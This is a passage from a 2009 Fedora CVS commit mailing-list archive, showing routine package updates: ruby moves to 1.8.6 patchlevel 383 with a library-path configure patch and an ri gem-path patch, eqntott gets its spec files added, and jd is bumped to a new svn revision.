   CONFIG["topdir"] = File.dirname(__FILE__)
   MAKEFILE_CONFIG = {}
   CONFIG.each{|k,v| MAKEFILE_CONFIG[k] = v.dup}


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	23 Jun 2009 12:39:01 -0000	1.32
+++ .cvsignore	23 Oct 2009 17:25:53 -0000	1.33
@@ -1,4 +1,4 @@
 ruby-refm-rdp-1.8.2-ja-html.tar.gz
 rubyfaq-990927.tar.gz
 rubyfaq-jp-990927.tar.gz
-ruby-1.8.6-p369.tar.bz2
+ruby-1.8.6-p383.tar.bz2


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/ruby.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- ruby.spec	14 Oct 2009 15:24:30 -0000	1.141
+++ ruby.spec	23 Oct 2009 17:25:53 -0000	1.142
@@ -1,6 +1,6 @@
 %define	rubyxver	1.8
 %define	rubyver		1.8.6
-%define _patchlevel	369
+%define _patchlevel	383
 %define dotpatchlevel	%{?_patchlevel:.%{_patchlevel}}
 %define patchlevel	%{?_patchlevel:-p%{_patchlevel}}
 %define	arcver		%{rubyver}%{?patchlevel}
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	5%{?dist}
+Release:	2%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -39,7 +39,7 @@ Source4:	irb.1
 Source10:	ruby-mode-init.el
 
 Patch1:		ruby-deadcode.patch
-Patch20:	ruby-rubyprefix.patch
+Patch20:	ruby-1.8.6-p383-rubyprefix.patch
 Patch21:	ruby-deprecated-sitelib-search-path.patch
 Patch22:	ruby-deprecated-search-path.patch
 Patch23:	ruby-multilib.patch
@@ -548,6 +548,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
+- Update to 1.8.6 patchlevel 383 (bug 520063)
+
 * Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-5
 - Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	23 Jun 2009 12:39:02 -0000	1.31
+++ sources	23 Oct 2009 17:25:53 -0000	1.32
@@ -1,4 +1,4 @@
 b6dd396f513efeb7864685c840f9643a  ruby-refm-rdp-1.8.2-ja-html.tar.gz
 634c25b14e19925d10af3720d72e8741  rubyfaq-990927.tar.gz
 4fcec898f51d8371cc42d0a013940469  rubyfaq-jp-990927.tar.gz
-c3c1f3dd0dfbd2e17a04e59c2f12cfc8  ruby-1.8.6-p369.tar.bz2
+a48703cd982b9f0e3002700a50b0e88e  ruby-1.8.6-p383.tar.bz2


--- ruby-rubyprefix.patch DELETED ---



From mtasaka at fedoraproject.org  Fri Oct 23 17:25:54 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 23 Oct 2009 17:25:54 +0000 (UTC)
Subject: rpms/ruby/devel ruby-1.8.6-p383-rubyprefix.patch, NONE,
	1.1 .cvsignore, 1.32, 1.33 ruby.spec, 1.141, 1.142 sources, 1.31,
	1.32 ruby-rubyprefix.patch, 1.5, NONE
Message-ID: <20091023172554.91B0911C01EA@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23674/devel

Modified Files:
	.cvsignore ruby.spec sources 
Added Files:
	ruby-1.8.6-p383-rubyprefix.patch 
Removed Files:
	ruby-rubyprefix.patch 
Log Message:
* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
- Update to 1.8.6 patchlevel 383 (bug 520063)


ruby-1.8.6-p383-rubyprefix.patch:
 /configure.in.orig |only
 /configure.in.rej  |only
 configure.in       |   28 +++++++++++++++++++++++-----
 mkconfig.rb        |    6 +++---
 4 files changed, 26 insertions(+), 8 deletions(-)

--- NEW FILE ruby-1.8.6-p383-rubyprefix.patch ---
diff -ur ruby-1.8.6-p383.0-deadcode/configure.in ruby-1.8.6-p383/configure.in
--- ruby-1.8.6-p383.0-deadcode/configure.in	2009-07-20 15:24:22.000000000 +0200
+++ ruby-1.8.6-p383/configure.in	2009-10-22 16:37:13.729623476 +0200
@@ -1613,6 +1613,13 @@
     rubyw_install_name="$RUBYW_INSTALL_NAME"
     ;;
 esac
+
+AC_ARG_WITH(ruby-prefix,
+	AC_HELP_STRING([--with-ruby-prefix], [build ruby with the special library prefix.])
+	,,
+	with_ruby_prefix=no)
+
+if test "x$with_ruby_prefix" = "x"; then
 case "$target_os" in
   cygwin*|mingw*|*djgpp*|os2-emx*)
     RUBY_LIB_PREFIX="/lib/ruby"
@@ -1621,20 +1628,30 @@
     RUBY_LIB_PREFIX="`eval "echo ${libdir}"`/ruby"
     ;;
 esac
+else
+    RUBY_LIB_PREFIX="${with_ruby_prefix}/ruby"
+fi
 RUBY_LIB_PATH="${RUBY_LIB_PREFIX}/${MAJOR}.${MINOR}"
+RUBY_LIB_PATH2="${libdir}/ruby/${MAJOR}.${MINOR}"
 
 AC_ARG_WITH(sitedir,
 	    [  --with-sitedir=DIR      site libraries in DIR [PREFIX/lib/ruby/site_ruby]],
             [sitedir=$withval],
             [sitedir="`eval "echo ${libdir}"`/ruby/site_ruby"])
-SITE_DIR=`eval echo \\"${sitedir}\\"`
+SITE_DIR=`eval echo \\"${sitedir}\\" | sed -e "s/lib64/lib/"`
+_fc_sitedir="\$(DESTDIR)${sitedir}"
+SITE_DIR2=`eval echo \\"${_fc_sitedir}\\"`
+sitedir=`eval echo \\"${sitedir}\\" | sed -e "s/lib64/lib/"`
+
 case "$target_os" in
   cygwin*|mingw*|*djgpp*|os2-emx*)
     RUBY_SITE_LIB_PATH="`expr "$SITE_DIR" : "$prefix\(/.*\)"`" ||
     RUBY_SITE_LIB_PATH="$SITE_DIR";;
   *)
-    RUBY_SITE_LIB_PATH="$SITE_DIR";;
+    RUBY_SITE_LIB_PATH="$SITE_DIR";
+    RUBY_SITE_LIB_PATH2="$SITE_DIR2";;
 esac
+RUBY_SITE_LIB_PATH3="${RUBY_SITE_LIB_PATH2}/${MAJOR}.${MINOR}"
 RUBY_SITE_LIB_PATH2="${RUBY_SITE_LIB_PATH}/${MAJOR}.${MINOR}"
 
 AC_DEFINE_UNQUOTED(RUBY_LIB, "${RUBY_LIB_PATH}")
@@ -1644,6 +1661,7 @@
 AC_SUBST(arch)dnl
 AC_SUBST(sitearch)dnl
 AC_SUBST(sitedir)dnl
+AC_SUBST(_fc_sitedir)dnl
 
 configure_args=$ac_configure_args
 AC_SUBST(configure_args)dnl
@@ -1652,7 +1670,7 @@
     arch="fat-${target_os}"
 
     AC_DEFINE_UNQUOTED(RUBY_THIN_ARCHLIB,
-                 "${RUBY_LIB_PATH}/" __ARCHITECTURE__ "-${target_os}")
+                 "${RUBY_LIB_PATH2}/" __ARCHITECTURE__ "-${target_os}")
 
     AC_DEFINE_UNQUOTED(RUBY_SITE_THIN_ARCHLIB,
                  "${RUBY_SITE_LIB_PATH}/" __ARCHITECTURE__ "-${target_os}")
@@ -1667,8 +1685,8 @@
   *) sitearch="${arch}" ;;
 esac
 
-AC_DEFINE_UNQUOTED(RUBY_ARCHLIB, "${RUBY_LIB_PATH}/${arch}")
-AC_DEFINE_UNQUOTED(RUBY_SITE_ARCHLIB, "${RUBY_SITE_LIB_PATH2}/${sitearch}")
+AC_DEFINE_UNQUOTED(RUBY_ARCHLIB, "${RUBY_LIB_PATH2}/${arch}")
+AC_DEFINE_UNQUOTED(RUBY_SITE_ARCHLIB, "${RUBY_SITE_LIB_PATH3}/${sitearch}")
 
 AC_ARG_WITH(search-path,
 		[  --with-search-path=DIR specify the additional search path],
Only in ruby-1.8.6-p383/: configure.in.orig
Only in ruby-1.8.6-p383/: configure.in.rej
diff -ur ruby-1.8.6-p383.0-deadcode/mkconfig.rb ruby-1.8.6-p383/mkconfig.rb
--- ruby-1.8.6-p383.0-deadcode/mkconfig.rb	2008-06-07 18:37:10.000000000 +0200
+++ ruby-1.8.6-p383/mkconfig.rb	2009-10-22 16:30:55.776872493 +0200
@@ -139,10 +139,10 @@
 print(*v_others)
 print <<EOS
   CONFIG["ruby_version"] = "$(MAJOR).$(MINOR)"
-  CONFIG["rubylibdir"] = "$(libdir)/ruby/$(ruby_version)"
-  CONFIG["archdir"] = "$(rubylibdir)/$(arch)"
+  CONFIG["rubylibdir"] = "$(prefix)/lib/ruby/$(ruby_version)"
+  CONFIG["archdir"] = "$(libdir)/ruby/$(ruby_version)/$(arch)"
   CONFIG["sitelibdir"] = "$(sitedir)/$(ruby_version)"
-  CONFIG["sitearchdir"] = "$(sitelibdir)/$(sitearch)"
+  CONFIG["sitearchdir"] = "$(_fc_sitedir)/$(ruby_version)/$(sitearch)"
   CONFIG["topdir"] = File.dirname(__FILE__)
   MAKEFILE_CONFIG = {}
   CONFIG.each{|k,v| MAKEFILE_CONFIG[k] = v.dup}


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/.cvsignore,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- .cvsignore	23 Jun 2009 12:39:01 -0000	1.32
+++ .cvsignore	23 Oct 2009 17:25:54 -0000	1.33
@@ -1,4 +1,4 @@
 ruby-refm-rdp-1.8.2-ja-html.tar.gz
 rubyfaq-990927.tar.gz
 rubyfaq-jp-990927.tar.gz
-ruby-1.8.6-p369.tar.bz2
+ruby-1.8.6-p383.tar.bz2


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/ruby.spec,v
retrieving revision 1.141
retrieving revision 1.142
diff -u -p -r1.141 -r1.142
--- ruby.spec	14 Oct 2009 15:24:31 -0000	1.141
+++ ruby.spec	23 Oct 2009 17:25:54 -0000	1.142
@@ -1,6 +1,6 @@
 %define	rubyxver	1.8
 %define	rubyver		1.8.6
-%define _patchlevel	369
+%define _patchlevel	383
 %define dotpatchlevel	%{?_patchlevel:.%{_patchlevel}}
 %define patchlevel	%{?_patchlevel:-p%{_patchlevel}}
 %define	arcver		%{rubyver}%{?patchlevel}
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	5%{?dist}
+Release:	2%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -39,7 +39,7 @@ Source4:	irb.1
 Source10:	ruby-mode-init.el
 
 Patch1:		ruby-deadcode.patch
-Patch20:	ruby-rubyprefix.patch
+Patch20:	ruby-1.8.6-p383-rubyprefix.patch
 Patch21:	ruby-deprecated-sitelib-search-path.patch
 Patch22:	ruby-deprecated-search-path.patch
 Patch23:	ruby-multilib.patch
@@ -548,6 +548,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
+- Update to 1.8.6 patchlevel 383 (bug 520063)
+
 * Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-5
 - Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	23 Jun 2009 12:39:02 -0000	1.31
+++ sources	23 Oct 2009 17:25:54 -0000	1.32
@@ -1,4 +1,4 @@
 b6dd396f513efeb7864685c840f9643a  ruby-refm-rdp-1.8.2-ja-html.tar.gz
 634c25b14e19925d10af3720d72e8741  rubyfaq-990927.tar.gz
 4fcec898f51d8371cc42d0a013940469  rubyfaq-jp-990927.tar.gz
-c3c1f3dd0dfbd2e17a04e59c2f12cfc8  ruby-1.8.6-p369.tar.bz2
+a48703cd982b9f0e3002700a50b0e88e  ruby-1.8.6-p383.tar.bz2


--- ruby-rubyprefix.patch DELETED ---



From mjakubicek at fedoraproject.org  Fri Oct 23 17:30:35 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 17:30:35 +0000 (UTC)
Subject: rpms/eqntott/F-12 sources,1.1,1.2
Message-ID: <20091023173035.74EA311C04D3@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/eqntott/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24540/F-12

Modified Files:
	sources 
Log Message:
- Fix FTBFS: copy sources and spec file from F-11 to F-12 and devel branche (error during mass rebuild?)




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eqntott/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Aug 2009 20:21:37 -0000	1.1
+++ sources	23 Oct 2009 17:30:34 -0000	1.2
@@ -0,0 +1 @@
+a029f83d885d2ed3af0c569a8f0bab12  eqntott-9.0.tar.gz



From mjakubicek at fedoraproject.org  Fri Oct 23 17:30:37 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 17:30:37 +0000 (UTC)
Subject: rpms/eqntott/devel sources,1.1,1.2
Message-ID: <20091023173037.5310E11C0264@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/eqntott/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24540/devel

Modified Files:
	sources 
Log Message:
- Fix FTBFS: copy sources and spec file from F-11 to F-12 and devel branche (error during mass rebuild?)




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/eqntott/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Aug 2009 20:21:37 -0000	1.1
+++ sources	23 Oct 2009 17:30:35 -0000	1.2
@@ -0,0 +1 @@
+a029f83d885d2ed3af0c569a8f0bab12  eqntott-9.0.tar.gz



From mtasaka at fedoraproject.org  Fri Oct 23 17:37:44 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 23 Oct 2009 17:37:44 +0000 (UTC)
Subject: rpms/ruby/F-11 ruby-1.8.6-p369-ri-gem_multipath.patch, 1.3,
	1.4 ruby.spec, 1.139, 1.140
Message-ID: <20091023173744.DB21411C01EA@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26776

Modified Files:
	ruby.spec 
Added Files:
	ruby-1.8.6-p369-ri-gem_multipath.patch 
Log Message:
* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
- Restore the previous changes


ruby-1.8.6-p369-ri-gem_multipath.patch:
 ri_options.rb |    8 ++++++--
 ri_paths.rb   |    2 +-
 2 files changed, 7 insertions(+), 3 deletions(-)

Index: ruby-1.8.6-p369-ri-gem_multipath.patch
===================================================================
RCS file: ruby-1.8.6-p369-ri-gem_multipath.patch
diff -N ruby-1.8.6-p369-ri-gem_multipath.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ ruby-1.8.6-p369-ri-gem_multipath.patch	23 Oct 2009 17:37:43 -0000	1.4
@@ -0,0 +1,35 @@
+--- ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_options.rb	2009-10-14 23:51:09.000000000 +0900
+@@ -63,7 +63,7 @@
+ 
+         [ "--gems",         nil,    nil,
+           "Include documentation from Rubygems:\n  " +
+-          (RI::Paths::GEMDIRS ? "#{Gem.path}/doc/*/ri" :
++          (RI::Paths::GEMDIRS ? Gem.path.map {|path| "#{path}/doc/*/ri" }.join(', ') :
+                                 "No Rubygems ri found.") ],
+                                                            
+         [ "--format",       "-f",   "<name>",
+@@ -136,7 +136,11 @@
+           RI::Paths::HOMEDIR
+         ]
+ 
+-        directories << "#{Gem.path}/doc/*/ri" if RI::Paths::GEMDIRS
++        if RI::Paths::GEMDIRS
++          Gem.path.each {|gempath|
++            directories << "#{gempath}/doc/*/ri"
++          }
++        end
+ 
+         directories = directories.join("\n    ")
+ 
+--- ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb.gemmulti	2007-02-13 08:01:19.000000000 +0900
++++ ruby-1.8.6-p369/lib/rdoc/ri/ri_paths.rb	2009-10-15 00:02:05.000000000 +0900
+@@ -44,7 +44,7 @@
+ 
+     begin
+       require 'rubygems'
+-      GEMDIRS = Dir["#{Gem.path}/doc/*/ri"]
++      GEMDIRS = Gem.path.map {|path| Dir["#{path}/doc/*/ri"]}.flatten
+       GEMDIRS.each { |path| RI::Paths::PATH << path }
+     rescue LoadError
+       GEMDIRS = nil


Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-11/ruby.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- ruby.spec	22 Oct 2009 15:34:22 -0000	1.139
+++ ruby.spec	23 Oct 2009 17:37:43 -0000	1.140
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -44,6 +44,7 @@ Patch26:        ruby-1.8.6-rexml-CVE-200
 Patch27:        ruby-1.8.6-p287-CVE-2008-5189.patch
 Patch28:        ruby-1.8.6-p287-remove-ssl-rand-range.patch
 Patch29:	ruby-always-use-i386.patch
+Patch31:	ruby-1.8.6-p369-ri-gem_multipath.patch
 
 Summary:	An interpreter of object-oriented scripting language
 Group:		Development/Languages
@@ -173,6 +174,7 @@ pushd %{name}-%{arcver}
 %patch27 -p0
 %patch28 -p1
 %patch29 -p1
+%patch31 -p1
 popd
 
 %build
@@ -535,6 +537,19 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-2
+- Restore the previous changes
+
+* Sat Oct 24 2009 Jeroen van Meeuwen <kanarip at fedoraproject.org> - 1.8.6.383-1
+- Update to 1.8.6 patchlevel 383 (bug 520063)
+
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-3
+- Much better idea for Patch31 provided by Akira TAGOH <tagoh at redhat.com>
+
+* Wed Oct 14 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.369-2
+- Fix the search path of ri command for ri manuals installed with gem
+  (bug 528787)
+
 * Sat Jun 20 2009  Jeroen van Meeuwen <kanarip at fedoraproject.org> - 1.8.6.369-1
 - New patchlevel fixing CVE-2009-1904
 - Fix directory on ARM (#506233, Kedar Sovani)



From mjakubicek at fedoraproject.org  Fri Oct 23 17:55:24 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 17:55:24 +0000 (UTC)
Subject: rpms/eqntott/F-12 eqntott.spec,NONE,1.1
Message-ID: <20091023175524.ACB8311C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/eqntott/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv883/F-12

Added Files:
	eqntott.spec 
Log Message:
...not only copy, but also cvs add the spec files from old branches:/




--- NEW FILE eqntott.spec ---
Name:           eqntott
Version:        9.0
Release:        2%{?dist}
Summary:        Generates truth tables from Boolean equations

Group:          Applications/Engineering
License:        BSD
URL:            http://code.google.com/p/eqntott
Source0:        http://eqntott.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description
Converts Boolean logic expressions into a truth table that is useful for 
preparing input to espresso package for logic minimization, converting logic
expressions into simpler forms, and for creating truth tables.

%prep
%setup -q 

%build
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc ChangeLog README
%{_bindir}/eqntott
%{_mandir}/man1/eqntott.1.gz

%changelog
* Mon Aug 17 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 9.0-2
- Keeping only Changelog and README in the doc section

* Tue Aug 11 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 9.0-1
- First .spec release for eqntott



From mjakubicek at fedoraproject.org  Fri Oct 23 17:55:25 2009
From: mjakubicek at fedoraproject.org (=?utf-8?b?TWlsb8WhIEpha3Viw63EjWVr?=)
Date: Fri, 23 Oct 2009 17:55:25 +0000 (UTC)
Subject: rpms/eqntott/devel eqntott.spec,NONE,1.1
Message-ID: <20091023175525.0F62611C01EA@cvs1.fedora.phx.redhat.com>

Author: mjakubicek

Update of /cvs/pkgs/rpms/eqntott/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv883/devel

Added Files:
	eqntott.spec 
Log Message:
...not only copy, but also cvs add the spec files from old branches:/




--- NEW FILE eqntott.spec ---
Name:           eqntott
Version:        9.0
Release:        2%{?dist}
Summary:        Generates truth tables from Boolean equations

Group:          Applications/Engineering
License:        BSD
URL:            http://code.google.com/p/eqntott
Source0:        http://eqntott.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description
Converts Boolean logic expressions into a truth table that is useful for 
preparing input to espresso package for logic minimization, converting logic
expressions into simpler forms, and for creating truth tables.

%prep
%setup -q 

%build
%configure
make %{?_smp_mflags}

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc ChangeLog README
%{_bindir}/eqntott
%{_mandir}/man1/eqntott.1.gz

%changelog
* Mon Aug 17 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 9.0-2
- Keeping only Changelog and README in the doc section

* Tue Aug 11 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 9.0-1
- First .spec release for eqntott



From mtasaka at fedoraproject.org  Fri Oct 23 18:03:57 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 23 Oct 2009 18:03:57 +0000 (UTC)
Subject: rpms/jd/F-11 .cvsignore, 1.403, 1.404 jd.spec, 1.466, 1.467 sources,
	1.404, 1.405
Message-ID: <20091023180357.D037911C01EA@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3438/F-11

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3133



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/.cvsignore,v
retrieving revision 1.403
retrieving revision 1.404
diff -u -p -r1.403 -r1.404
--- .cvsignore	16 Oct 2009 03:02:08 -0000	1.403
+++ .cvsignore	23 Oct 2009 18:03:57 -0000	1.404
@@ -1 +1 @@
-jd-2.5.0-svn3127_trunk.tgz
+jd-2.5.0-svn3133_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/jd.spec,v
retrieving revision 1.466
retrieving revision 1.467
diff -u -p -r1.466 -r1.467
--- jd.spec	16 Oct 2009 03:02:08 -0000	1.466
+++ jd.spec	23 Oct 2009 18:03:57 -0000	1.467
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3127_trunk
+%define         strtag        svn3133_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3127
+* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3133
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/sources,v
retrieving revision 1.404
retrieving revision 1.405
diff -u -p -r1.404 -r1.405
--- sources	16 Oct 2009 03:02:08 -0000	1.404
+++ sources	23 Oct 2009 18:03:57 -0000	1.405
@@ -1 +1 @@
-f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz
+97ca5453376266ee0c39d7e99c280caa  jd-2.5.0-svn3133_trunk.tgz



From mtasaka at fedoraproject.org  Fri Oct 23 18:03:58 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 23 Oct 2009 18:03:58 +0000 (UTC)
Subject: rpms/jd/F-12 .cvsignore, 1.403, 1.404 jd.spec, 1.467, 1.468 sources,
	1.404, 1.405
Message-ID: <20091023180358.21B3F11C01EA@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3438/F-12

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3133



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/.cvsignore,v
retrieving revision 1.403
retrieving revision 1.404
diff -u -p -r1.403 -r1.404
--- .cvsignore	16 Oct 2009 03:02:08 -0000	1.403
+++ .cvsignore	23 Oct 2009 18:03:57 -0000	1.404
@@ -1 +1 @@
-jd-2.5.0-svn3127_trunk.tgz
+jd-2.5.0-svn3133_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/jd.spec,v
retrieving revision 1.467
retrieving revision 1.468
diff -u -p -r1.467 -r1.468
--- jd.spec	16 Oct 2009 03:02:08 -0000	1.467
+++ jd.spec	23 Oct 2009 18:03:57 -0000	1.468
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3127_trunk
+%define         strtag        svn3133_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3127
+* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3133
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/sources,v
retrieving revision 1.404
retrieving revision 1.405
diff -u -p -r1.404 -r1.405
--- sources	16 Oct 2009 03:02:08 -0000	1.404
+++ sources	23 Oct 2009 18:03:57 -0000	1.405
@@ -1 +1 @@
-f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz
+97ca5453376266ee0c39d7e99c280caa  jd-2.5.0-svn3133_trunk.tgz



From mtasaka at fedoraproject.org  Fri Oct 23 18:03:58 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri, 23 Oct 2009 18:03:58 +0000 (UTC)
Subject: rpms/jd/devel .cvsignore, 1.392, 1.393 jd.spec, 1.455, 1.456 sources,
	1.393, 1.394
Message-ID: <20091023180358.6EE8911C01EA@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3438/devel

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3133



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/.cvsignore,v
retrieving revision 1.392
retrieving revision 1.393
diff -u -p -r1.392 -r1.393
--- .cvsignore	16 Oct 2009 03:02:09 -0000	1.392
+++ .cvsignore	23 Oct 2009 18:03:58 -0000	1.393
@@ -1 +1 @@
-jd-2.5.0-svn3127_trunk.tgz
+jd-2.5.0-svn3133_trunk.tgz


Index: jd.spec
===================================================================
